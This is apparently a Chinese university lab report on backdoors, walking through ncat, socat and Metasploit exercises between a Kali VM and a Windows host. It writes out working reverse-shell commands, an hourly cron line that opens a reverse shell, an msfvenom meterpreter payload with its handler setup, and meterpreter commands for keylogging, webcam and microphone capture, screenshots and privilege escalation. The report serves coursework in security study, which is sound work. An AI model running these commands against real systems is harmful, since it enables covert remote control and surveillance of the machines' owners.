2018-2019-2 网络对抗技术 20165319 Exp2 后门原理与实践
后门的基本概念及基础问题
后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。 [1]
后门程序,跟我们通常所说的"木马"有联系也有区别。联系在于:都是隐藏在用户系统中向外发送信息,而且本身具有一定权限,以便远程机器对本机的控制。区别在于:木马是一个完整的软件,而后门则体积较小且功能都很单一。后门程序类似于特洛依木马(简称"木马"),其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作。
后门程序和电脑病毒最大的差别,在于后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其它电脑。
例举你能想到的一个后门进入到你系统中的可能方式?
网上下载软件时可能会有软件自带的后门进入。
例举你知道的后门如何启动起来(win及linux)的方式?
通过远程桌面连接工具连接到Windows远程桌面,在没有输入用户名和密码前,连接按5次Shift键,可以运行“sethc.exe”,可以弹出命令行了。
Meterpreter有哪些给你映像深刻的功能?
获取windows摄像头拍摄和读取键盘敲击记录,太强了。
如何发现自己有系统有没有被安装后门?
定时用杀毒软件扫描检查一下。
常用后门工具之ncat
1、Windows获得Linux Shell
在Windows下使用ipconfig查看本机IP
使用ncat.exe程序打开监听ncat.exe -l -p 5319
在kali中反弹连接Windows,ncat 192.168.43.206 5319 -e /bin/sh,使用-e选项执行shell程序
Windows成功获得kali的shell
2、kali获得windows的shell
在kali中使用ifconfig查看IP
打开监听nc -l -p 5319
在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.146.129 5319
kali成功获得Windows的cmd
使用nc进行数据传输
Windows下监听5319端口,ncat.exe -l 5319
kali反弹连接到Windows的5318端口,nc 192.168.1.161 5319.此处因为我换了宿舍的wifi,所以主机的ip地址变成了192.168.1.161
连接建立成功,双方可以相互传输数据
使用nc传输文件
Windows下监听5319端口,并把收到的数据保存到file1.out中,ncat.exe -l 5319 > file1.out
kali反弹连接到Windows的5318端口,nc 192.168.1.161 5319 < file1.in
连接建立成功,Win可以收到kali发来的文件。
实验一:使用netcat获取主机操作Shell,cron启动
在Windows系统下,监听5319端口
在Kali环境下,用crontab -e指令编辑一条定时任务,选择编辑器时选择3。
在最后一行添加8 * * * * /bin/netcat 192.168.1.161 5319 -e /bin/sh,意思是在每个小时的第8分钟反向连接Windows主机的5319端口。
到第八分钟以后,ls一下。
实验二:使用socat获取主机操作Shell, 任务计划启动
搜索打开“计算机管理”
在“任务计划程序”中“创建任务”
填写任务名->新建一个操作
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5319 exec:cmd.exe,pty,stderr
创建完成之后,运行此操作。
此时,在Kali环境下输入指令socat - tcp:192.168.1.161:5319,此时可以发现已经成功获得了一个cmd shell
实验三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168. 146.129 LPORT=5319 -f exe > 20165319_backdoor.exe![]
在Windows下执行ncat.exe -l 5319 > 20165319_backdoor.exe,这样被控主机就进入了接收文件模式
在Linux中执行nc 1 5319 < 20165319_backdoor.exe
传送接收文件成功,如下图所示
在Kali上使用msfconsole指令进入msf控制台
输入use exploit/multi/handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.146.129,
set LPORT 5319
设置完成后,执行监听,运行Windows下的后门程序,此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
实验四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用record_mic指令可以截获一段音频,可以用-d选项设置录制时间
使用webcam_snap指令可以使用摄像头进行拍照
使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
使用screenshot指令可以进行截屏,效果如下:
先使用getuid指令查看当前用户,使用getsystem指令进行提权
实验中遇到的问题
实验二开始时虚拟机总是报拒绝链接。后来关闭防火墙以后就可以链接了。
实验总结与体会
通过此次实验,我进一步了解了后门的可怕性以及信息安全的重要性。凭借一个小小的后门程序就能实现各种远程操控,真是让人感觉不寒而栗。
不过仅仅用靶机做做后门实验还是很有意思的,当我用虚拟机的设备操控我的主机的时候,真是非常有趣的事情。
今后要加强安全防范意识,以免个人安全信息泄露。